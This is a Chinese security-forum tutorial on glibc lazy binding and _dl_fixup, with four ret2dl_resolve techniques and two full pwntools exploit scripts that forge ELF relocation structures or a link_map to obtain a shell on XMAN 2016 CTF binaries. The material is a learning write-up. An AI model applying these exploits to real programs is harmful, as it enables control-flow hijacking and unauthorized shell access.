首页
社区
课程
招聘
[分享]dl_runtime_resolve结合源码分析及常见的几种攻击手法
2019-8-13 00:44 10806

[分享]dl_runtime_resolve结合源码分析及常见的几种攻击手法

2019-8-13 00:44
10806

0x00前言

之前粗略的看过32位下的函数重定位的攻击,没过多久就忘得七七八八了,趁着暑假的时间,好好得学了波函数重定向攻击,这篇文章作个归纳总结,希望能够对你有所帮助。

0x01函数重定位流程

在Linux下,如果ELF想要调用动态函数库中的函数,就必须在程序加载的时候进行动态链接,动态链接会消耗不少的时间解决模块之间的函数引用的符号查找及重定位,但有些函数在程序运行完毕后可能都不会用到,如一些错误处理的函数,为此ELF采取了延迟绑定(Lazy Binding)的做法,其核心思想就是函数用到时才对该函数进行绑定(符号查找及重定位),如果没用到就不进行绑定。

 

我们接下来将通过调试hello world程序来探究函数重定位的流程

#include <stdio.h>
int main()
{
    printf("hello world!");
    return 0;
}
//gcc -m32 -g hello_world.c -o hello_world


下断点在printf函数后,si进入函数

 


我们可以发现进入后并没有直接转跳到printf函数,而是到了printf的plt表,这是由于ELF的延迟绑定机制,当函数用到的时候,再借助plt表、got表及其他操作进行绑定,未绑定是printf的got表中存放的是printf@plt+6的地址,绑定过后got存放printf函数的真实地址。
接下来函数取got表中数据进行转跳,转跳回了printf@plt+6的地址,接着执行push 0;push dword ptr [_GLOBAL_OFFSET_TABLE+4]<0x804a004>;这两条指令的含义待会解释。再转跳到dl_runtime_resolve进行函数的绑定

0x02_dl_fixup

上面我们简单的介绍了函数重定向的流程。但真正对函数进行符号查找和重定位的函数是进入dl_runtime_resolve之后的_dl_fixup这个函数。
因此为实现对函数重定向的攻击,我们必须对_dl_fixup的源码进行分析。可以到https://ftp.gnu.org/gnu/glibc/下载glibc源码,以下的分析都是glibc-2.27版本的源码并且都是32位。64位我将在分析完32位后单独介绍。

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
       ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
       struct link_map *l, ElfW(Word) reloc_arg)

忽略掉宏定义_dl_fixup有struct link_map *l和ElfW(Word) reloc_arg两个参数。之前的push dword ptr [_GLOBAL_OFFSET_TABLE+4]<0x804a004>;push 0就分别对应着这两个参数。
push dword ptr [_GLOBAL_OFFSET_TABLE+4]<0x804a004> 就是 将link_map地址压入栈中。
push 0 就是 将reloc_arg压入栈中。

 

32位、64位都一样,都是将参数压入栈中

为了能够更好得理解_dl_fixup的源码,我们需要先了解几个关键的section

.dynamic
.dynamic在IDA中的模样,在dl_runtime_resolve攻击中,我们只需要着重关注DT_SYMTAB,DT_STRTAB,DT_JMPREL,DT_VERSYM(64位下才需要关注)。

.dynamic结构体(在glibc-2.27/elf/elf.h中)

typedef struct
{
  Elf32_Sword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;            /* Integer value */
      Elf32_Addr d_ptr;            /* Address value */
    } d_un;
} Elf32_Dyn;

.dynsym
.dynsym在IDA中长这个模样,在上面的.dynamic中的DT_SYMTAB结构体中的d_ptr对应着.dynsym地址。

.dynsym结构体

typedef struct
{
  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;        /* Symbol value */
  Elf32_Word    st_size;        /* Symbol size */
  unsigned char    st_info;        /* Symbol type and binding */
  unsigned char    st_other;        /* Symbol visibility */
  Elf32_Section    st_shndx;        /* Section index */
} Elf32_Sym;

.dynstr
.dynstr在IDA中长这个样子,同样在上面的.dynamic中的DT_STRTAB结构体中的d_ptr对应着.dynstr地址

 

.rel.plt
.rel.plt在IDA中是这个样子,在上面的.dynamic中的DT_JMPREL结构体中的d_ptr对应着.rel.plt地址

.rel.plt结构体

typedef struct
{
  Elf32_Addr    r_offset;        /* Address */
  Elf32_Word    r_info;            /* Relocation type and symbol index */
} Elf32_Rel;

_dl_fixup源码

以下就是_dl_fixup用于函数重定向的代码,展示了函数重定向的流程。

#ifdef DL_RO_DYN_SECTION
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
#else
# define D_PTR(map, i) (map)->i->d_un.d_ptr
#endif

#define ELF32_R_TYPE(val)   ((val) & 0xff)
#define ELF32_R_SYM(val)    ((val) >> 8)
#define ELF32_ST_VISIBILITY(o)  ((o) & 0x03)

const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  
    //通过link_map找到DT_SYMTAB地址,进而得到.dynsym的指针,记作symtab      

const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //通过link_map找到DT_STRTAB地址,进而得到.dynstr的指针,记作strtab

const PLTREL *const reloc
  = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    //reloc_offset就是reloc_arg
    //将.rel.plt地址与reloc_offset相加,得到函数所对应的Elf32_Rel指针,记作reloc  

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];    
    //将(reloc->r_info)>>8作为.dynsym下标,得到函数所对应的Elf32_Sym指针,记作sym

const ElfW(Sym) *refsym = sym;

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);  
    //l->l_addr 加载共享对象的基本地址
    //l->l_addr + reloc->r_offset即为需要修改的got表地址。

lookup_t result;
DL_FIXUP_VALUE_TYPE value;

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    //检查r_info最低为是不是R_386_JMP_SLOT=7

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断(sym->st_other)&0x03是否为0
{                                         
  const struct r_found_version *version = NULL;

  if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
  {
    const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }

  int flags = DL_LOOKUP_ADD_DEPENDENCY;
  if (!RTLD_SINGLE_THREAD_P)
  {
    THREAD_GSCOPE_SET_FLAG ();
    flags |= DL_LOOKUP_GSCOPE_LOCK;
  }

  #ifdef RTLD_ENABLE_FOREIGN_CALL
        RTLD_ENABLE_FOREIGN_CALL;
  #endif

  //通过strtab + sym->st_name找到函数字符串,result为libc基地址
  result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
        version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      if (!RTLD_SINGLE_THREAD_P)
  THREAD_GSCOPE_RESET_FLAG ();

  #ifdef RTLD_FINALIZE_FOREIGN_CALL
        RTLD_FINALIZE_FOREIGN_CALL;
  #endif

  //libc基地址+解析函数的偏移地址,即函数的真实地址
  value = DL_FIXUP_MAKE_VALUE (result,sym ? (LOOKUP_VALUE_ADDRESS (result)+ sym->st_value) : 0);
}
else
{
  value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
  result = l;
}

value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
    && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

if (__glibc_unlikely (GLRO(dl_bind_not)))
  return value;

  //将got表中的数据修改为函数的真实地址
  //value为函数真实地址,rel_addr为需要修改的got表地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

通过阅读_dl_fixup源码可以总结出一般的函数重定向流程可简略如下:
1.通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
2.通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
3.通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym
4.检查r_info最低位是否为7
5.检查(sym->st_other)&0x03是否为0
6.通过strtab+sym->st_name获得函数对应的字符串,进行查找,找到后赋值给
rel_addr,最后调用这个函数

0x03攻击手法

从上面的攻击流程中可以发现程序通过一系列操作最终取得函数名称对应的字符串来进行重定位,我们只要任意修改地址、偏移量使得程序最终取得我们伪造的字符串,就可以完成攻击。其实了解了函数函数重定向的流程,就可以先自己尝试着去PWN一些一般的32位ret2dl_resolve的题目。
下面讲述一些ret2dl_resolve常用的几种攻击手段,仅作为提供一种攻击思路的作用,重要的还是自己明白函数重定向的流程并针对其做出攻击。

 

第一种攻击手法:伪造函数名称对应字符串所在地址

 

获取函数名称对应的字符串:strtab+sym->st_name
这里就产生了两个可能的攻击对象,一个是strtab,另一个就是sym->st_name
我们可以先想程序bss段写入'system',再修改strtab或者sym->st_name,使strtab+sym->st_name指向'system'所在地址。
不过修改时需要注意DT_STRTAB和sym->st_name所在的地址有可写权限。
可以通过gdb中的vmmap来查看是否有可写权限
这个攻击手法不管是32位还是64位都能用。

 

第二种攻击手法:32位下的伪造reloc_arg,伪造结构体
宏观的从函数重定向流程来看,程序根据reloc_arg和各个section的地址来取得偏移量,最终定位到函数名称所对应的字符串地址。
既然reloc_arg是存放在栈中的,我们可以伪造reloc_arg和Elf32_Sym等结构体,通过虚假的reloc_arg引导程序指向我们伪造的结构体,进而取得我们伪造的偏移量,最终取得伪造的函数字符串。
除此之外,在伪造结构体的过程中,我们还要注意程序对reloc->r_info最低位、sym->st_other的检测

 

这个攻击手法有一定的限制,32位能够随便用,64位有大概率导致失败,具体原因下面将会讲

 

example:XMAN 2016-LEVEL 3
程序流程非常简单,直接让你输入来个栈溢出。
这道题虽然有write函数可以直接泄露,但我们这边可以通过ret2dl_resolve来不泄露直接劫持程序流程到system函数。

我们在bss段上构造.dynsym、.dynstr、.rel.plt,将三个伪造的结构体放在一起后,在开头放个数据作为伪造的reloc_arg和push link_map指令的地址,利用stack pivot便可以让程序将我们伪造的数据作为reloc_arg,最终让程序重定向到我们需要的函数。

 

在构造结构体的时候,一定要注意输入结构体的位置。由于我们最后使用stack pivot使得栈降到了bss段,这个程序从0x804a000-0x804b000有可写权限,如果输入结构体的位置离0x804a000太近的话,在重定向过程中可能esp小于0x804a000不可写而导致攻击失败。输入结构体的位置最好是在0x804a000+0x800的位置。

 

下面是我写的辣鸡脚本,适当的做了点注释,如果不太会的话可以参考以下

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF('./level3')
p = process('./level3')
# gdb.attach(p,'b*0x8048482')

_DYNAMIC = 0x8049F14
DT_STRTAB = 0x804822C
DT_SYMTAB = 0x80481CC
DT_JMPREL = 0x80482B0
ebp = 0x804A320-4-4
write_addr = 0x804A320-4
main = 0x8048484
push_link_map_addr = 0x8048300
leave = 0x8048482

def fake_info32_gen(start_addr,push_link_map_addr,ret,DT_SYMTAB,DT_STRTAB,DT_JMPREL,r_offset,str_offset): 
    fake_sym_len = 0x10 
    fake_str_len = str_offset+7
    fake_str_addr = start_addr+fake_sym_len
    fake_relplt_addr = fake_str_addr+fake_str_len
    reloc_arg = fake_relplt_addr-DT_JMPREL
    sh = fake_relplt_addr + 8

    r_info = ((start_addr-DT_SYMTAB)<<4)|0x7
    st_name = fake_str_addr - DT_STRTAB + str_offset
    st_value = 0
    st_size = 0
    st_info = 0x12
    st_other = 0
    st_shndx = 0

    fake_sym = p32(st_name)+p32(st_value)+p32(st_size)+p8(st_info)+p8(st_other)+p16(st_shndx)
    fake_str = 'a'*str_offset+'system\x00'
    fake_relplt = p32(r_offset)+p32(r_info)

    fake_info = p32(push_link_map_addr)+p32(reloc_arg)+p32(ret)+p32(sh)
    fake_info += fake_sym+fake_str+fake_relplt
    fake_info += '/bin/sh\x00'
    return fake_info

fake_info = fake_info32_gen(write_addr+0x10,push_link_map_addr,main,DT_SYMTAB,DT_STRTAB,DT_JMPREL,elf.got['read'],0x1a)
#生成伪造的reloc_arg和伪造的结构体

payload = 'a'*(0x88+4)+p32(elf.plt['read'])+p32(main)+p32(0)+p32(write_addr)+p32(len(fake_info))
payload = payload.ljust(0x100,'\x00')
#调用read函数写入伪造的结构体
p.sendafter('Input:\n',payload)

p.send(fake_info)

payload = 'a'*0x88+p32(ebp)+p32(leave)
#stack pivot,进入函数重定向
p.sendafter('Input:\n',payload)

p.interactive()

64位dl_runtime_resolve

在64位中,_dl_fixup的逻辑没有改变,但一些相关的变量和结构体发生了变化。

 

在glibc-2.27/sysdeps/x86_64/dl-runtime.c中定义了

#define reloc_offset reloc_arg * sizeof (PLTREL)
#define reloc_index  reloc_arg
#include <elf/dl-runtime.c>

我们可以发现reloc_arg不再像32位中作为偏移量来使用,而是作为.rel.plt的数组下标存在。

 

另外,Elf32_Sym升级为Elf64_Sym,Elf32_Rel升级为Elf64_Rela(注意结构体大小的改变),Elf32_R_SYM、Elf32_R_TYPE定义升级为Elf64_R_SYM、Elf64_R_TYPE

typedef struct
{
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */
  unsigned char    st_info;        /* Symbol type and binding */
  unsigned char st_other;        /* Symbol visibility */
  Elf64_Section    st_shndx;        /* Section index */
  Elf64_Addr    st_value;        /* Symbol value */
  Elf64_Xword    st_size;        /* Symbol size */
} Elf64_Sym;
typedef struct
{
  Elf64_Addr    r_offset;        /* Address */
  Elf64_Xword    r_info;            /* Relocation type and symbol index */
  Elf64_Sxword    r_addend;        /* Addend */
} Elf64_Rela;
#define ELF64_R_SYM(i)            ((i) >> 32)
#define ELF64_R_TYPE(i)            ((i) & 0xffffffff)

之前的32位下的伪造reloc_arg,伪造结构体方法在64位下并不适用,原因就在下面这段代码中

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
  {
    const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }

程序会先取.dynamic中的DT_VERSYM所在的地址判断是否为0。
接着取DT_VERSYM结构体的d_ptr赋值给指针变量vernum。
将(reloc->r_info)>>32作为vernum下标取值。
问题就在这边出现了!这边容易出现非法内存地址访问的问题。

 

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
在取得函数所对应的Elf64_Sym过程中,也是将(reloc->r_info)>>32作为下标。
64位程序bss段被映射到0x600000,我们伪造的.dynsym也在0x600000+,而DT_SYM结构体中的d_ptr还是在0x400000,这就意味着我们的r_info必然很大,再加上数据类型大小的不同,导致(reloc->r_info)>>32作为vernum下标取值时十分容易访问到0x400000和0x600000之间的不可读区域

 

下面通过gdb的调试来更好的说明这点

64位下0x401000-0x600000为不可读区域

 


symtab+(r_info>>32)*24得到函数所对应的Elf64_Sym地址

 


r10存放link_map地址
l->l_info[VERSYMIDX (DT_VERSYM)]对应着link_map+0x1c8
rdx存放(r->info>>32)的值
*(vernum+(r_info>>32)*2)

 

我随手找了个64位的程序算了下
const ElfW(Sym) const symtab = 0x400280
const ElfW(Half)
vernum = 0x4003d8
(r_info>>32)作为symtab的下标时,其值大于0x600000小于0x601000,也就是说0x1553a<(r_info>>32)≤0x15fe5
(r_info>>32)作为vernum下标时,要使得不产生非法内存访问,需要0≤(r_info>>32)≤0x614或者0xffe14≤(r_info>>32)≤0x100614
无法找到同时满足二者的(r_info>>32)的值
因此,对待64位程序如果像之前的32位程序那样构造的话,很容易攻击失败。

 

第三种攻击手法:64位下的修改reloc_arg,伪造结构体
我们之前分析了64位下无法像32位下那样修改reloc_arg,伪造结构体的原因

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
{
    const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
}

既然进入这个if语句会出错,那我们就想办法让程序不进入这个if语句
从之前的gdb调试的图片中我们也可以发现l->l_info[VERSYMIDX (DT_VERSYM)]对应着link_map+0x1c8(对应的,32下是link_map+0xe4)
我们需要先泄露link_map地址,再将link_map+0x1c8设置成不为0
之后就是和32位下的思路一样了,根据64位下的结构体伪造结构体,伪造reloc_arg来进行攻击。

 

不过有一点很尴尬,这么做的前提是必须要能供泄露地址,但既然都能泄露地址了,我为什么还要费那么大力气来攻击函数重定向呢,就我个人而言认为这个思路有点鸡肋。但也确实是一种思路,说不定什么时候能用到。
第三种攻击手法仍需要泄露信息,接下来第四种攻击手法不需要泄露信息就可以完成64位下的函数重定向攻击(不过需要知道libc的版本)。

 

第四种攻击手法:伪造link_map(需要知道libc版本)

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断(sym->st_other)&0x03是否为0
{           
            ······                              
    if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
    {
            ······
    }
}
else
{
  value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
  result = l;
}

在第三种攻击手法中也说了,当(sym->st_other)&0x03 == 0时,我们还需要将link_map+0x1c8设置为非0。
在这里来看看我们之前忽略掉了else语句,DL_FIXUP_MAKE_VALUE用来计算出函数的真实地址,我们只要将(sym->st_other)&0x03设置为非0,进入else语句,l->l_addr + sym->st_value指向system语句即可进入system函数。
那么问题就来了,我们并不知道system函数的真实地址。我们可以这样做,让sym->st_value落在某个已经解析了的函数got表上,l->l_addr设置为system函数和这个已经解析的函数的偏移值。另外,sym->st_value落在某个已经解析了的函数got表上,说明这个函数对应的sym = 这个got表地址-8,通常而言sym对应着另外一个函数的got表地址,这种情况你需要确保另外一个函数也是已经解析过的,此时sym->st_other一般为0x7f,才能保证(sym->st_other)&0x03 != 0。如果sym不是对应着另一个函数的got表,需要确保(*(sym+5))&0x03 != 0。

 

我们需要将l->l_addr设置成我们想要的值,又不用泄露link_map地址,这就要求我们来伪造link_map结构体。我们还需要控制symtab和reloc->r_info,因此我们还要伪造位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针,另外strtab必须是个可读的地址,因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便,我在构造的过程中一般将reloc_arg作为0来进行构造。
总的来说要满足以下几个条件:
1.link_map中的DT_STRTAB、DT_SYMTAB、DT_JMPREL可读
2.DT_SYMTAB结构体中的d_ptr即sym,(*(sym+5))&0x03 != 0
3.(reloc->r_info)&0xff == 7
4.rel_addr = l->addr + reloc->r_offset即原先需要修改的got表地址有可写权限
5.l->l_addr + sym->st_value 为system的地址

 

example:XMAN 2016-LEVEL3_64
这个程序和上一个例子差不多,就是变成了64位,尝试在不使用write函数的前提下对函数重定向完成攻击。
可以尝试使用伪造link_map的方法来完成攻击。
libc就直接用本地的libc好了

 

下面是本菜鸡写的脚本:

#coding:utf-8

from pwn import *
context.log_level = 'debug'
elf = ELF('./level3_x64')
libc = elf.libc
p = process('./level3_x64')
# gdb.attach(p,'b*0x400618')
'''
typedef struct             
{
    Elf64_Word    st_name;        /* Symbol name (string tbl index) */ 
      unsigned char    st_info;    /* Symbol type and binding */         
      unsigned char st_other;        /* Symbol visibility */               
      Elf64_Section    st_shndx;    /* Section index */                   
      Elf64_Addr    st_value;        /* Symbol value */                    
      Elf64_Xword    st_size;        /* Symbol size */                     
}Elf64_Sym;

typedef struct            
{
  Elf64_Addr    r_offset;        /* Address */                          
  Elf64_Xword    r_info;            /* Relocation type and symbol index */ 
  Elf64_Sxword    r_addend;        /* Addend */                           
}Elf64_Rela;

typedef struct           
{
  Elf64_Sxword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;            /* Address value */
    } d_un;
}Elf64_Dyn;
'''

universal_gadget1 = 0x4006AA
universal_gadget2 = 0x400690

Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18
write_addr = 0x600ad0
link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x4006b3
leave = 0x400618
main = 0x4005E6

#fake_Elf64_Dyn_STR_addr = l+0x68   
#fake_Elf64_Dyn_SYM_addr = l+0x70   
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8

l_addr = libc.sym['system'] - libc.sym['__libc_start_main'] 
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

def fake_link_map_gen(link_map_addr,l_addr,st_value):
    fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
    fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
    fake_Elf64_Dyn_STR_addr = link_map_addr
    fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
    fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
    fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)

    fake_link_map = p64(l_addr)            #0x8
    fake_link_map += fake_Elf64_Dyn_SYM    #0x10
    fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
    fake_link_map += fake_Elf64_rela       #0x18
    fake_link_map += '\x00'*0x28
    fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
    fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
    fake_link_map += '/bin/sh\x00'.ljust(0x80,'\x00')
    fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
    return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])

payload = 'a'*0x80
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0)  #pop rbx
payload += p64(1)  #pop rbp
payload += p64(elf.got['read'])  #pop r12
payload += p64(len(fake_link_map)+0x18) #pop r13
payload += p64(write_addr)  #pop r14 
payload += p64(0)           #pop r15
payload += p64(universal_gadget2)  #ret
payload += p64(0)*7
payload += p64(main)

p.sendafter('Input:\n',payload.ljust(0x200,'\x00'))
sleep(1)

fake_info = p64(0x4004A6)        #jmp 
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map
p.send(fake_info)

payload = 'a'*0x80+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
p.sendafter('Input:\n',payload)

p.interactive()

这个方法需要知道libc版本后才能计算出system的地址。

 

这些东西的话在理解了原理之后就是慢慢得撸偏移,反正我当初第一次搞这东西调了好久才调对。

 

还有个工具叫roputils,可以很快速地自动生成你需要伪造的信息,但我不太喜欢用这个。。。

0x04 最后

很感谢屏幕前的你能够读到这里,这也是我第一次写这种东西,也算是对我这几天以来学的进行一个归纳总结了。希望能够对你有所帮助。如果文中有表述不当或错误的地方,欢迎大家指正。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-8-19 00:45 被g3n3rous编辑 ,原因:
上传的附件:
收藏
点赞6
打赏
分享
最新回复 (2)
雪    币: 0
活跃值: (89)
能力值: ( LV6,RANK:96 )
在线值:
发帖
回帖
粉丝
ToCrack 2019-8-17 13:20
2
0
tql
雪    币: 0
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
云中君 2021-4-3 22:07
3
0
感谢作者分享。CTF-Wiki 伪造Link map部分是对ctf-wiki很好的补充。ret2dlresolve这个攻击看下来,感觉还是很鸡肋啊。有输出函数可以利用时,根本不需要用它;没输出的时候,还不能有full RELRO。 最后撸偏移还简直就是苦力活。
游客
登录 | 注册 方可回帖
返回